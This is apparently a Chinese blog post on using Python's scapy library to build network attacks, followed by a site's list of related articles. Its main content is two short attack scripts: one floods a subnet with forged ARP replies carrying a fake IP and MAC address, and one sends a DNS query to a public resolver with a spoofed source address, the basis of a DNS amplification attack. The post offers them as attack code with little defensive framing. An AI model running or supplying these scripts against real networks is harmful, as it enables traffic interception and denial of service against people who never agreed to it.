Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
Python正则表达式的使用范例详解
Aug 08 Python
将Django使用的数据库从MySQL迁移到PostgreSQL的教程
Apr 11 Python
详解Python中的文件操作
Aug 28 Python
Python序列操作之进阶篇
Dec 08 Python
python itchat实现微信自动回复的示例代码
Aug 14 Python
LRUCache的实现原理及利用python实现的方法
Nov 21 Python
python读写csv文件方法详细总结
Jul 05 Python
python matplotlib库绘制条形图练习题
Aug 10 Python
PyTorch里面的torch.nn.Parameter()详解
Jan 03 Python
让你相见恨晚的十个Python骚操作
Nov 18 Python
详解Python中string模块除去Str还剩下什么
Nov 30 Python
Python OpenCV 图像平移的实现示例
Jun 04 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
php定义参数数量可变的函数用法实例
2015/03/16 PHP
SSO单点登录的PHP实现方法(Laravel框架)
2016/03/23 PHP
PHP session会话操作技巧小结
2016/09/27 PHP
jQuery lazyload 的重复加载错误以及修复方法
2010/11/19 Javascript
jquery插件之信息弹出框showInfoDialog(成功/错误/警告/通知/背景遮罩)
2013/01/09 Javascript
深入理解JavaScript系列(40):设计模式之组合模式详解
2015/03/04 Javascript
JavaScript DSL 流畅接口(使用链式调用)实例
2015/03/15 Javascript
javascript中return,return true,return false三者的用法及区别
2015/11/17 Javascript
JavaScript拖拽、碰撞、重力及弹性运动实例分析
2016/01/08 Javascript
JavaScript Math 对象常用方法总结
2016/04/28 Javascript
js实现楼层效果的简单实例
2016/07/15 Javascript
jQuery获取file控件中图片的宽高与大小
2016/08/04 Javascript
JS中动态创建元素的三种方法总结(推荐)
2016/10/20 Javascript
JavaScript实现实时更新系统时间的实例代码
2017/04/04 Javascript
浅谈ES6新增的数组方法和对象
2017/08/08 Javascript
vue中实现methods一个方法调用另外一个方法
2018/02/08 Javascript
帮你彻底搞懂JS中的prototype、__proto__与constructor(图解)
2019/08/23 Javascript
深入浅析vue全局环境变量和模式
2020/04/28 Javascript
jQuery HTML设置内容和属性操作实例分析
2020/05/20 jQuery
JavaScript实现鼠标经过表格某行时此行变色
2020/11/20 Javascript
PyQt5利用QPainter绘制各种图形的实例
2017/10/19 Python
Python使用SQLite和Excel操作进行数据分析
2018/01/20 Python
Python解决抛小球问题 求小球下落经历的距离之和示例
2018/02/01 Python
Python使用matplotlib绘制余弦的散点图示例
2018/03/14 Python
python实现将一维列表转换为多维列表(numpy+reshape)
2019/11/29 Python
Python中类似于jquery的pyquery库用法分析
2019/12/02 Python
python 实现dict转json并保存文件
2019/12/05 Python
Django中ORM找出内容不为空的数据实例
2020/05/20 Python
关于Python3的import问题(pycharm可以运行命令行import错误)
2020/11/18 Python
英国著名的药妆网站:Escentual
2016/07/29 全球购物
工地门卫岗位职责
2013/12/30 职场文书
农业资源与环境专业自荐信范文
2013/12/30 职场文书
2014年圣诞节促销方案
2014/03/14 职场文书
电话客服专员岗位职责
2014/06/28 职场文书
常务副县长“三严三实”对照检查材料思想汇报
2014/10/05 职场文书
2014年租房协议书范本
2014/10/30 职场文书